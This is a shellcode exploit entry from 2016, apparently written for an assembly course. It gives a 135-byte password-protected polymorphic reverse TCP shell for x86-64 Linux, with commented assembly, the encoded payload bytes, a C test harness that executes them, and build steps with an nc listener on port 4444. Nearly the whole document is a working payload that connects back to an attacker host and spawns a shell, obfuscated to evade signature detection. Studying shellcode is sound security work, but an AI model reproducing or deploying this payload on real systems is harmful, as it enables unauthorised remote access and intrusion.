Linux/x86-64 - shell_reverse_tcp with Password Polymorphic Shellcode (2) (135 bytes)

/*---------------------------------------------------------------------------------------------------------------------
/*
*Title:            tcp reverse shell with password polymorphic version v2 135 bytes
*Author:           Sathish kumar
*Contact:          https://www.linkedin.com/in/sathish94
*Copyright:        (c) 2016 iQube. (http://iQube.io)
*Release Date:     January 29, 2016
*Description:      x64 Linux reverse TCP port shellcode on port 4444 with reconfigurable password
*Tested On:        Ubuntu 14.04 LTS
*SLAE64-1408
*Build/Run:        gcc -fno-stack-protector -z execstack filename.c -o filename
*                   ./bindshell
*                   nc -l 4444 -vvv
* 
 
global _start
 
_start:
     
    xor rax, rax    ;Xor function will null the values in the register beacuse we doesn't know whats the value in the register in realtime cases
    xor rsi, rsi 
    mul rsi
    push byte 0x2   ;pusing argument to the stack
    pop rdi         ; poping the argument to the rdi instructions on the top of the stack should be remove first because stack LIFO
    inc esi         ; already rsi is 0 so incrementing the rsi register will make it 1
    push byte 0x29  ; pushing the syscall number into the rax by using stack
    pop rax
    syscall
     
    ; copying the socket descripter from rax to rdi register so that we can use it further 
 
    xchg rax, rdi
     
    ; server.sin_family = AF_INET 
    ; server.sin_port = htons(PORT)
    ; server.sin_addr.s_addr = INADDR_ANY
    ; bzero(&server.sin_zero, 8)
    ; setting up the data sctructure
     
    xor rax, rax
    push rax                         ; bzero(&server.sin_zero, 8)
    mov ebx , 0xfeffff80             ; ip address 127.0.0.1 "noted" to remove null
    not ebx
    mov dword [rsp-4], ebx
    sub rsp , 4                      ; adjust the stack
    xor r9, r9
    push word 0x5c11                 ; port 4444 in network byte order
    push word 0x02                   ; AF_INET
    push rsp
    pop rsi
     
     
    push 0x10
    pop rdx
    push 0x2a
    pop rax
    syscall
     
    push 0x3                           
    pop rsi                             ; setting argument to 3 
 
 
 
duplicate:
    dec esi                            
    mov al, 0x21                       ;duplicate syscall applied to error,output and input using loop
    syscall
    jne duplicate
     
password_check:
     
    push rsp
    pop rsi
    xor rax, rax   ; system read syscall value is 0 so rax is set to 0
    syscall
    push 0x6b636168 ; password to connect to shell is hack which is pushed in reverse and hex encoded
    pop rax
    lea rdi, [rel rsi]
    scasd           ; comparing the user input and stored password in the stack
     
     
execve:                                      
    xor esi, esi
    xor r15, r15
    mov r15w, 0x161f
    sub r15w, 0x1110
    push r15
    mov r15, rsp
    mov rdi, 0xff978cd091969dd0
    inc rdi
    neg rdi
    mul esi
    add al, 0x3b
    push rdi
    push rsp
    pop rdi
    call r15
 
 
*/
#include <stdio.h>
#include <string.h>
 
unsigned char code[] =\
"\x48\x31\xc0\x48\x31\xf6\x48\xf7\xe6\x6a\x02\x5f\xff\xc6\x6a\x29\x58\x0f\x05\x48\x97\x48\x31\xc0\x50\xbb\x80\xff\xff\xfe\xf7\xd3\x89\x5c\x24\xfc\x48\x83\xec\x04\x4d\x31\xc9\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x54\x5e\x48\x31\xc0\x0f\x05\x68\x68\x61\x63\x6b\x58\x48\x8d\x3e\xaf\x31\xf6\x4d\x31\xff\x66\x41\xbf\x1f\x16\x66\x41\x81\xef\x10\x11\x41\x57\x49\x89\xe7\x48\xbf\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xff\xc7\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x41\xff\xd7";
 
main()
{
   printf("Shellcode Length: %d\n", (int)strlen(code));
   int (*ret)() = (int(*)())code;
   ret();
}